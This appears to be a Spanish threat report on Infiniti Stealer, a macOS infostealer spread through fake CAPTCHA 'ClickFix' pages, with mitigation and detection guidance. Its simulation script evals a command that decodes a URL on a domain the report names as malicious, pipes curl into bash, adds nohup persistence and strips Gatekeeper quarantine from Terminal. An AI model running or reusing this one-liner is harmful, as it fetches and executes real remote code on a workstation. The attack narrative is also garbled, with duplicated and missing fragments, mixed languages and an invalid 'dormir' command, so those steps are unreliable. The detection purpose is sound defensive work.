Infiniti Stealer: un nuevo infostealer para macOS que utiliza ClickFix y Python/Nuitka

Resumen

Se ha identificado un nuevo infostealer para macOS llamado Infiniti Stealer que ha sido visto usando un engaño de ingeniería social llamado ClickFix para infectar a los usuarios. El malware está construido con Nuitka, que convierte el código Python en un binario Mach-O nativo, haciendo la inspección estática más difícil. Una vez ejecutado, roba credenciales, datos de Keychain, archivos de monederos de criptomonedas y otra información sensible, luego extrae los datos recopilados mediante solicitudes HTTP POST. La campaña también se basa en una página CAPTCHA falsa alojada en un dominio malicioso para engañar a las víctimas a ejecutar un comando Bash perjudicial.

Investigación

Los investigadores descubrieron la carga útil durante una caza rutinaria de amenazas y la rastrearon inicialmente bajo el nombre temporal NukeChain antes de que el panel del actor de amenazas expusiera la marca final como Infiniti Stealer. El análisis reveló un flujo de tres etapas: un dropper Bash entregado a través de un CAPTCHA falso, un cargador compilado con Nuitka, y un módulo de robo basado en Python. El dropper coloca el binario en /tmp, elimina el atributo de cuarentena y lo lanza pasando detalles del C2 a través de variables de entorno. La etapa final reúne datos de navegadores, Keychain, monederos y archivos relacionados con desarrolladores antes de enviarlos al servidor controlado por el atacante.

Mitigación

Los usuarios nunca deberían copiar y ejecutar comandos de sitios web desconocidos, especialmente de páginas que pretenden verificar desafíos CAPTCHA. Los defensores deben inspeccionar y eliminar archivos sospechosos en /tmp or ~/Library/LaunchAgents, ejecutar un escaneo anti-malware confiable, y rotar contraseñas para cualquier cuenta potencialmente expuesta desde un sistema limpio. También se deben revocar cualquier token API activo o claves SSH que puedan haber sido recopiladas.

Respuesta

Los equipos de detección deben monitorear el script de dropper y el binario compilado con Nuitka observando la creación de archivos en /tmp que coincide con el patrón de nombres descrito. Se deben activar alertas en la ejecución del comando Bash malicioso y en el tráfico HTTP POST saliente al dominio C2 identificado. El acceso a la red a update-check.com and infiniti-stealer.com debería ser bloqueado. Una revisión forense basada en el host debería entonces identificar credenciales robadas y respaldar reinicios de credenciales obligatorios.

Ejecución de Simulación

Prerrequisito: La Verificación Previa de Telemetría y Línea Base debe haber pasado.

Narrativa de Ataque y Comandos

Un atacante entrega un enlace de phishing que, al abrirse en una estación de trabajo macOS, ejecuta la siguiente línea única en Terminal. El comando:

1. Descargas una URL codificada en base64 (el host de la carga) mediante curl -sSfL.
2. Descodifica la cadena base64 para revelar la URL HTTPS real.
3. Ejecuta el script descargado con bash.
4. Lo ejecuta bajo para mantenerlo vivo después de que el terminal se cierre. para mantenerlo vivo después de que el terminal se cierre. Elimina
5. el atributo de cuarentena ( ) para evitar el Gatekeeper.) para evitar el Gatekeeper.) to bypass Gatekeeper.

Estos pasos producen los fragmentos exactos de la línea de comandos que la regla Sigma está observando, generando así la alerta esperada.

Script de Prueba de Regresión

#!/usr/bin/env bash
# ------------------------------------------------------------
# Simulación de infecciones por Infiniti Stealer (macOS)
# ------------------------------------------------------------

# 1. Construir la línea única maliciosa (exactamente como se espera en la regla)
MALICIOUS_CMD="bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode))"

# 2. Ayudantes de persistencia opcionales (incluidos en la detección)
MALICIOUS_CMD+=" && nohup bash -c "$MALICIOUS_CMD" >/dev/null 2>&1 &"
MALICIOUS_CMD+=" && xattr -dr com.apple.quarantine /Applications/Utilities/Terminal.app"

# 3. Ejecutar el comando
eval "$MALICIOUS_CMD"

# 4. Esperar unos segundos para permitir la ingestión de SIEM
dormir 5

# 5. Salida de un marcador para verificación manual
echo ">>> Simulación ejecutada – monitorear SIEM para alerta <<<"

Comandos de Limpieza

#!/usr/bin/env bash
# ------------------------------------------------------------
# Limpieza después de la simulación de Infiniti Stealer
# ------------------------------------------------------------

# Matar cualquier proceso de nohup en segundo plano iniciado por la simulación
pkill -f "bash <(curl -sSfL"

# Eliminar cualquier archivo temporal que pueda haberse creado
rm -f /tmp/$(ls /tmp | grep -E 'tmp|bash|curl' | head -n 1)

# Restaurar atributo de cuarentena en Terminal (opcional, para higiene)
xattr -w com.apple.quarantine "0081;5f4a9b2c;Safari;1234567890" /Applications/Utilities/Terminal.app 2>/dev/null || true

echo "Limpieza completada."

Fin del Informe